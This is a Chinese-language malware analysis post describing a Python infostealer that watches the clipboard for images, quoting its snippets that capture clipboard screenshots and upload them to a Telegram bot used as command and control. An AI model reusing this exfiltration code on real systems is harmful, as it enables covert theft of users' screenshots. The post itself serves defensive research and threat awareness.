剪贴板图片窃取在Python信息窃取木马中的应用
长期以来,剪贴板内容一直被许多信息窃取木马监控。其目的可能多种多样,比如简单地搜索并窃取有价值数据,或者实时修改内容(如加密货币钱包地址替换[1])。需要注意的是,当您未禁用虚拟机与主机之间的剪贴板共享时,剪贴板存在重大风险。在沙箱中运行的恶意软件将毫无问题地访问您的(主机)剪贴板!
剪贴板不仅携带文本。如今,我们使用剪贴板处理大量"二进制数据"。除了纯文本之外,最常见的数据类型就是图片!我们经常截取图片并通过剪贴板分享!谁没有这样截取过屏幕截图呢?这在编写报告、文档或用于归档目的时非常方便。
我发现了一个Python信息窃取木马,它关注通过剪贴板交换的图片。这很容易实现,因为ImageGrab库内置了此功能[2]。以下是恶意软件中实现的代码片段:
1
2
3
4
5
6
7
8
9
10
|
img = ImageGrab.grabclipboard()
if isinstance(img, Image.Image):
img_bytes = io.BytesIO()
img.save(img_bytes, format='PNG')
img_hash = hashlib.md5(img_bytes.getvalue()).hexdigest()
if img_hash != prev_clip_img_hash:
img_path = "clipboard_img.png"
img.save(img_path, "PNG")
send_image(img_path)
prev_clip_img_hash = img_hash
|
使用Telegram进行C2通信:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
def send_image(image_path):
if not bot_active or not os.path.exists(image_path):
logging.warning(f"[send_image] T?p không t?n t?i: {image_path}")
return
try:
with open(image_path, "rb") as photo:
url = f"https://api.telegram.org/bot{TOKEN}/sendDocument"
files = {"document": photo}
data = {"chat_id": CHAT_ID}
response = requests.post(url, files=files, data=data)
if response.status_code != 200:
logging.error(f"[send_image] L?i g?i ?nh: {response.text}")
except Exception as e:
logging.error(f"[send_image] G?i ?nh l?i: {e}")
|
注意存在越南语文本(“T?p không t?n t?i"意为"文件不存在”)。该文件(SHA256:7c70f53ff1e05ee104403784f42819adb1e445c9d97b82cff72a986d59619959)的VT评分较低(5/64)[3]。
[1] https://isc.sans.edu/diary/MultiCryptocurrency+Clipboard+Swapper/28574
[2] https://pillow.readthedocs.io/en/stable/reference/ImageGrab.html#PIL.ImageGrab.grabclipboard
[3] https://www.virustotal.com/gui/file/7c70f53ff1e05ee104403784f42819adb1e445c9d97b82cff72a986d59619959/detection